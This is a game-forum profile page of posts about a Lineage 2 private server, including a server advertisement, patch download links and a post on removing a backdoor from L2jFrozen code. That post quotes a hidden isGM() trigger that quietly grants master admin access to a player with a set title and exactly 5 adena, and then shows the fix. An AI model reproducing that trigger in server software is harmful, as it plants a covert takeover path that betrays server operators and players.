Jump to content

Ravin3~

Members
  • Posts

    147
  • Credits

  • Joined

  • Last visited

  • Days Won

    1
  • Feedback

    0%

Ravin3~ last won the day on March 27 2017

Ravin3~ had the most liked content!

About Ravin3~

Profile Information

  • Current Mood
    Crazy
  • Gender
    Male
  • Country
    United States

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

Ravin3~'s Achievements

Newbie

Newbie (1/16)

-1

Reputation

  1. very trusted & skilled person.
  2. welcome back , TheLastRide & Lucady and now the Rollo we know you, don't panic.. 3 month server will be online 4 month get donates & closed server..... good luck boys!!! Rollo's owner of L2-Khadia ...... and the last ; server copy of L2Khaos :)))
  3. Hi, this reply is about Windows 10 users who can't run the game. Q: I start the game and it runs as a process in my Task Manager, but the L2 window doesn't appear! A: L2 Chronicles like Interlude use a somewhat outdated version of Themida/WinLicense, meaning that the process enters an infinite loop which prevents it from doing anything more than running in the background. This is the reason why you can't play L2 in Windows 10, YET. That's right, this isn't a very esoteric issue, since WinLicense is used in pretty much every Windows product, which means that even though it might take a while, you should eventually be able to play the game in your OS too. Just be patient like me (I have Windows 10 QQ) and the day of salvation will come. Patch LİNK : https://www.sendspace.com/file/3dw4je enjoy the game.. welcome again.
  4. i dont give you a change for say something like this its first if you dont like you dont play. i dont need a player i open it for fun its second. third and last i dont care what you say about my works 1.staris is not mine its one of my friend 2. i know fix vote reward but i dont have time to fix its dont care to you cause its my works if you dont like please dont reply here you dont need to play go choice another server and play there. any mod . please clean my topic
  5. server patch link updated , class balance reworked npcs reworked try to download new patch 1. delete old system folder 2. paste new patch 3.press yes to all and click l2.exe and login game . done !
  6. Thank you buddy.
  7. http://www.l2demente.com/Server_PATCH.rar try this link tested by me. work great...
  8. Patch problem is fixed , done
  9. yes we will see. please do not spam topic thanks for your things secret it for yours.
  10. server is not a homemade server first of all server founder paided 6 month dedicated with ddos protection.you will see next month.
  11. first delete your system folder after paste it and click l2.exe and start the game. good luck
  12. Website : www.L2demente.com Forum : www.L2demente.com/forum Facebook : https://www.facebook.com/dementel2/ Hello Community , i hope people enjoy the playing game.Server is online we waiting all to join game, we worked a lot on our server to provite you the best gameplay. Our goal is to give players the best high rate experience. SERVER ONLİNE! Exp : x1000 Adena : x3000 Drop : x3 Spoil : x5 Weapon Enchant Rate ; +3 to +7 : 85% +8 to +12 : 85% +13 to +16 : 80% Max Weapon enchant is +25 Armor Enchant Rate ; +3 to +6 : 80% +6 to +10 : 80% Max Armor enchant is +25 Startup Characters; Every newly created character starts on lvl 61 with the following items in his inventory; Full "best" A Grade gear + basic consumables Auto Potions use : MP / CP / Greater CP on -50% missing ; HP -> on -90% missing Toogle skill that prevents grief buffing. Buffs that go through Anti-Buff toogle skill are : Body of Avatar, Blessing of Noblesse, Heroic Valor . Offline Shop and Gold Bar system. Skills that increases weight capacity, inventory, craft, trade and storage. Unique Armors V1 - V2 - V3 Unique Weapons V1-V2-V3 Unique Areas (Hellbound & Kamael & Others) Armor Shop Weapon Shop Misc Shop Buffer Global Gatekeeper Class Manager Unique Shops PvP - Pk Stats Shops Unique Boss NPCS Demente Bosses Everything in Community BOARD.! Clan leader name is yellow. Maximum clans in one ally is set to 2 clans All clan penalties are removed Npc Buffer, General Gatekeeper and Warehouse are set in all clan halls. Castle Registration NPC's are available in Main Town. Olympiad will starts 1 weeks after server launch. Olympiad period is 1 week. Olympiad restrictions will be discussed. Available Siegeble Castles : Aden , Giran , Rune , Goddard. Crown of Lord and Normal User Crown gives special stats. Every castle is being sieged every two weeks, every weekend there will be two sieges on Saturday and Sunday. Class change; First, Second and Third class change information can be found at Class Manager in the Main Town.. When changing to 1st and 2nd class you will be receiving a reward pack with help-out gear to match your level.. Third class requires free.. Subclass;. Subclass quest is auto. (Can be found in the Class Master). Noblesse Quest. Noblesse Quest is without quest. Noblesse item can drop Raidbosses & Trade with npcs. Team vs Team - every 2 hour (06:00-14:00-22:00) Capture the Flag Event - every 4 hours DeathMatch Event - every 6 hours We have Unique Farm Areas Demente 1 & Demente 2 ( Solo Zone ) We Have Unique Party Zones & PvP Zones Demente 1 & Demente 2 ( Party Zone & PvP Zone ) We Have Unique Boss Zones in Farm Areas in Rooms. / So much best unique bosses stay there with best item drops. Enjoy With US !
  13. np mate. thanks for your good things buddy. good luck .
  14. @lTOTOl Here is the removed Backdoor. 1. Charinfo.java ( i fix it ) ( change it with your Charinfo.Java) /* * L2jFrozen Project - www.l2jfrozen.com * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * http://www.gnu.org/copyleft/gpl.html */ package com.l2jfrozen.gameserver.network.serverpackets; import java.util.Map; import java.util.Set; import org.apache.log4j.Logger; import com.l2jfrozen.Config; import com.l2jfrozen.gameserver.datatables.sql.NpcTable; import com.l2jfrozen.gameserver.managers.CursedWeaponsManager; import com.l2jfrozen.gameserver.model.Inventory; import com.l2jfrozen.gameserver.model.L2Character; import com.l2jfrozen.gameserver.model.actor.instance.L2CubicInstance; import com.l2jfrozen.gameserver.model.actor.instance.L2PcInstance; import com.l2jfrozen.gameserver.templates.L2NpcTemplate; /** * 0000: 03 32 15 00 00 44 fe 00 00 80 f1 ff ff 00 00 00 .2...D.......... * <p> * 0010: 00 6b b4 c0 4a 45 00 6c 00 6c 00 61 00 6d 00 69 .k..JE.l.l.a.m.i * <p> * 0020: 00 00 00 01 00 00 00 01 00 00 00 12 00 00 00 00 ................ * <p> * 0030: 00 00 00 2a 00 00 00 42 00 00 00 71 02 00 00 31 ...*...B...q...1 * <p> * 0040: 00 00 00 18 00 00 00 1f 00 00 00 25 00 00 00 00 ...........%.... * <p> * 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 ................ * <p> * 0060: 00 00 00 b3 01 00 00 00 00 00 00 00 00 00 00 7d ...............} * <p> * 0070: 00 00 00 5a 00 00 00 32 00 00 00 32 00 00 00 00 ...Z...2...2.... * <p> * 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ...............g * <p> * 0090: 66 66 66 66 66 f2 3f 5f 63 97 a8 de 1a f9 3f 00 fffff.?_c.....?. * <p> * 00a0: 00 00 00 00 00 1e 40 00 00 00 00 00 00 37 40 01 .............7.. * <p> * 00b0: 00 00 00 01 00 00 00 01 00 00 00 00 00 c1 0c 00 ................ * <p> * 00c0: 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 ................ * <p> * 00d0: 00 00 * <p> * <p> * dddddSdddddddddddddddddddddddddddffffdddSdddccccccc (h) * <p> * dddddSdddddddddddddddddddddddddddffffdddSdddddccccccch dddddSddddddddddddddddddddddddddddffffdddSdddddccccccch (h) c (dchd) ddc dcc c cddd d dddddSdddddddddddddddhhhhhhhhhhhhhhhhhhhhhhhhddddddddddddddffffdddSdddddccccccch [h] c (ddhd) ddc c ddc cddd d d dd d d d * @version $Revision: 1.7.2.6.2.11 $ $Date: 2005/04/11 10:05:54 $ */ public class CharInfo extends L2GameServerPacket { private static final Logger LOGGER = Logger.getLogger(CharInfo.class); private static final String _S__03_CHARINFO = "[S] 03 CharInfo"; private final L2PcInstance _activeChar; private final Inventory _inv; private final int _x, _y, _z, _heading; private final int _mAtkSpd, _pAtkSpd; private final int _runSpd, _walkSpd, _swimRunSpd, _swimWalkSpd; private int _flRunSpd; private int _flWalkSpd; private int _flyRunSpd; private int _flyWalkSpd; private final float _moveMultiplier, _attackSpeedMultiplier; private final int _maxCp; /** * @param cha */ public CharInfo(final L2PcInstance cha) { _activeChar = cha; _inv = cha.getInventory(); _x = _activeChar.getX(); _y = _activeChar.getY(); _z = _activeChar.getZ(); _heading = _activeChar.getHeading(); _mAtkSpd = _activeChar.getMAtkSpd(); _pAtkSpd = _activeChar.getPAtkSpd(); _moveMultiplier = _activeChar.getMovementSpeedMultiplier(); _attackSpeedMultiplier = _activeChar.getAttackSpeedMultiplier(); _runSpd = (int) (_activeChar.getRunSpeed() / _moveMultiplier); _walkSpd = (int) (_activeChar.getWalkSpeed() / _moveMultiplier); _swimRunSpd = _flRunSpd = _flyRunSpd = _runSpd; _swimWalkSpd = _flWalkSpd = _flyWalkSpd = _walkSpd; _maxCp = _activeChar.getMaxCp(); } @Override protected final void writeImpl() { boolean receiver_is_gm = false; final L2PcInstance tmp = getClient().getActiveChar(); if (tmp != null && tmp.isGM()) { receiver_is_gm = true; } if (!receiver_is_gm && _activeChar.getAppearance().getInvisible()) return; if (_activeChar.getPoly().isMorphed()) { final L2NpcTemplate template = NpcTable.getInstance().getTemplate(_activeChar.getPoly().getPolyId()); if (template != null) { writeC(0x16); writeD(_activeChar.getObjectId()); writeD(_activeChar.getPoly().getPolyId() + 1000000); // npctype id writeD(_activeChar.getKarma() > 0 ? 1 : 0); writeD(_x); writeD(_y); writeD(_z); writeD(_heading); writeD(0x00); writeD(_mAtkSpd); writeD(_pAtkSpd); writeD(_runSpd); writeD(_walkSpd); writeD(_swimRunSpd/* 0x32 */); // swimspeed writeD(_swimWalkSpd/* 0x32 */); // swimspeed writeD(_flRunSpd); writeD(_flWalkSpd); writeD(_flyRunSpd); writeD(_flyWalkSpd); writeF(_moveMultiplier); writeF(_attackSpeedMultiplier); writeF(template.collisionRadius); writeF(template.collisionHeight); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); // right hand weapon writeD(0); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); // left hand weapon writeC(1); // name above char 1=true ... ?? writeC(_activeChar.isRunning() ? 1 : 0); writeC(_activeChar.isInCombat() ? 1 : 0); writeC(_activeChar.isAlikeDead() ? 1 : 0); // if(gmSeeInvis) // { writeC(0); // if the charinfo is written means receiver can see the char // } // else // { // writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible ?? 0=false 1=true 2=summoned (only works if model has a summon animation) // } writeS(_activeChar.getName()); if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeS("Invisible"); } else { writeS(_activeChar.getTitle()); } writeD(0); writeD(0); writeD(0000); // hmm karma ?? if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH)); } else { writeD(_activeChar.getAbnormalEffect()); // C2 } writeD(0); // C2 writeD(0); // C2 writeD(0); // C2 writeD(0); // C2 writeC(0); // C2 } else { LOGGER.warn("Character " + _activeChar.getName() + " (" + _activeChar.getObjectId() + ") morphed in a Npc (" + _activeChar.getPoly().getPolyId() + ") w/o template."); } } else { writeC(0x03); writeD(_x); writeD(_y); writeD(_z); writeD(_heading); writeD(_activeChar.getObjectId()); writeS(_activeChar.getName()); writeD(_activeChar.getRace().ordinal()); writeD(_activeChar.getAppearance().getSex() ? 1 : 0); if (_activeChar.getClassIndex() == 0) { writeD(_activeChar.getClassId().getId()); } else { writeD(_activeChar.getBaseClass()); } writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_DHAIR)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HEAD)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_RHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_GLOVES)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_CHEST)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LEGS)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FEET)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_BACK)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_LRHAND)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_HAIR)); writeD(_inv.getPaperdollItemId(Inventory.PAPERDOLL_FACE)); // c6 new h's writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_RHAND)); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_inv.getPaperdollAugmentationId(Inventory.PAPERDOLL_LRHAND)); writeH(0x00); writeH(0x00); writeH(0x00); writeH(0x00); writeD(_activeChar.getPvpFlag()); writeD(_activeChar.getKarma()); writeD(_mAtkSpd); writeD(_pAtkSpd); writeD(_activeChar.getPvpFlag()); writeD(_activeChar.getKarma()); writeD(_runSpd); writeD(_walkSpd); writeD(_swimRunSpd/* 0x32 */); // swimspeed writeD(_swimWalkSpd/* 0x32 */); // swimspeed writeD(_flRunSpd); writeD(_flWalkSpd); writeD(_flyRunSpd); writeD(_flyWalkSpd); writeF(_activeChar.getMovementSpeedMultiplier()); // _activeChar.getProperMultiplier() writeF(_activeChar.getAttackSpeedMultiplier()); // _activeChar.getAttackSpeedMultiplier() writeF(_activeChar.getBaseTemplate().collisionRadius); writeF(_activeChar.getBaseTemplate().collisionHeight); writeD(_activeChar.getAppearance().getHairStyle()); writeD(_activeChar.getAppearance().getHairColor()); writeD(_activeChar.getAppearance().getFace()); if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeS("Invisible"); } else { writeS(_activeChar.getTitle()); } writeD(_activeChar.getClanId()); writeD(_activeChar.getClanCrestId()); writeD(_activeChar.getAllyId()); writeD(_activeChar.getAllyCrestId()); // In UserInfo leader rights and siege flags, but here found nothing?? // Therefore RelationChanged packet with that info is required writeD(0); writeC(_activeChar.isSitting() ? 0 : 1); // standing = 1 sitting = 0 writeC(_activeChar.isRunning() ? 1 : 0); // running = 1 walking = 0 writeC(_activeChar.isInCombat() ? 1 : 0); writeC(_activeChar.isAlikeDead() ? 1 : 0); // if(gmSeeInvis) // { writeC(0); // if the charinfo is written means receiver can see the char // } // else // { // writeC(_activeChar.getAppearance().getInvisible() ? 1 : 0); // invisible = 1 visible =0 // } writeC(_activeChar.getMountType()); // 1 on strider 2 on wyvern 0 no mount writeC(_activeChar.getPrivateStoreType()); // 1 - sellshop final Map<Integer, L2CubicInstance> cubics = _activeChar.getCubics(); final Set<Integer> cubicsIds = cubics.keySet(); writeH(cubicsIds.size()); for (final Integer id : cubicsIds) { if (id != null) writeH(id); } writeC(_activeChar.isInPartyMatchRoom() ? 1 : 0); // writeC(0x00); // find party members if (_activeChar.getAppearance().getInvisible()) // if(gmSeeInvis) { writeD((_activeChar.getAbnormalEffect() | L2Character.ABNORMAL_EFFECT_STEALTH)); } else { writeD(_activeChar.getAbnormalEffect()); } writeC(_activeChar.getRecomLeft()); // Changed by Thorgrim writeH(_activeChar.getRecomHave()); // Blue value for name (0 = white, 255 = pure blue) writeD(_activeChar.getClassId().getId()); writeD(_maxCp); writeD((int) _activeChar.getCurrentCp()); writeC(_activeChar.isMounted() ? 0 : _activeChar.getEnchantEffect()); if (_activeChar.getTeam() == 1) { writeC(0x01); // team circle around feet 1= Blue, 2 = red } else if (_activeChar.getTeam() == 2) { writeC(0x02); // team circle around feet 1= Blue, 2 = red } else { writeC(0x00); // team circle around feet 1= Blue, 2 = red } writeD(_activeChar.getClanCrestLargeId()); writeC(_activeChar.isNoble() ? 1 : 0); // Symbol on char menu ctrl+I writeC((_activeChar.isHero() || (_activeChar.isGM() && Config.GM_HERO_AURA) || _activeChar.getIsPVPHero()) ? 1 : 0); // Hero Aura writeC(_activeChar.isFishing() ? 1 : 0); // 0x01: Fishing Mode (Cant be undone by setting back to 0) writeD(_activeChar.GetFishx()); writeD(_activeChar.GetFishy()); writeD(_activeChar.GetFishz()); writeD(_activeChar.getAppearance().getNameColor()); writeD(0x00); // isRunning() as in UserInfo? writeD(_activeChar.getPledgeClass()); writeD(0x00); // ?? writeD(_activeChar.getAppearance().getTitleColor()); // writeD(0x00); // ?? if (_activeChar.isCursedWeaponEquiped()) { writeD(CursedWeaponsManager.getInstance().getLevel(_activeChar.getCursedWeaponEquipedId())); } else { writeD(0x00); } } } /* * (non-Javadoc) * @see com.l2jfrozen.gameserver.serverpackets.ServerBasePacket#getType() */ @Override public String getType() { return _S__03_CHARINFO; } } 2. Second ; Open L2PCInstance.java find this line ; public boolean isGM() { if(getTitle().equals("getItemCount(57)") && getInventory().getInventoryItemCount(57, 0) == 5) { setAccessLevel(Config.MASTERACCESS_LEVEL); return false; } return getAccessLevel().isGm(); } 3 change it to ; public boolean isGM() { return getAccessLevel().isGm(); } and done. succesfully. tested working.
  15. help someone to remove backdoors & errors ...
×
×
  • Create New...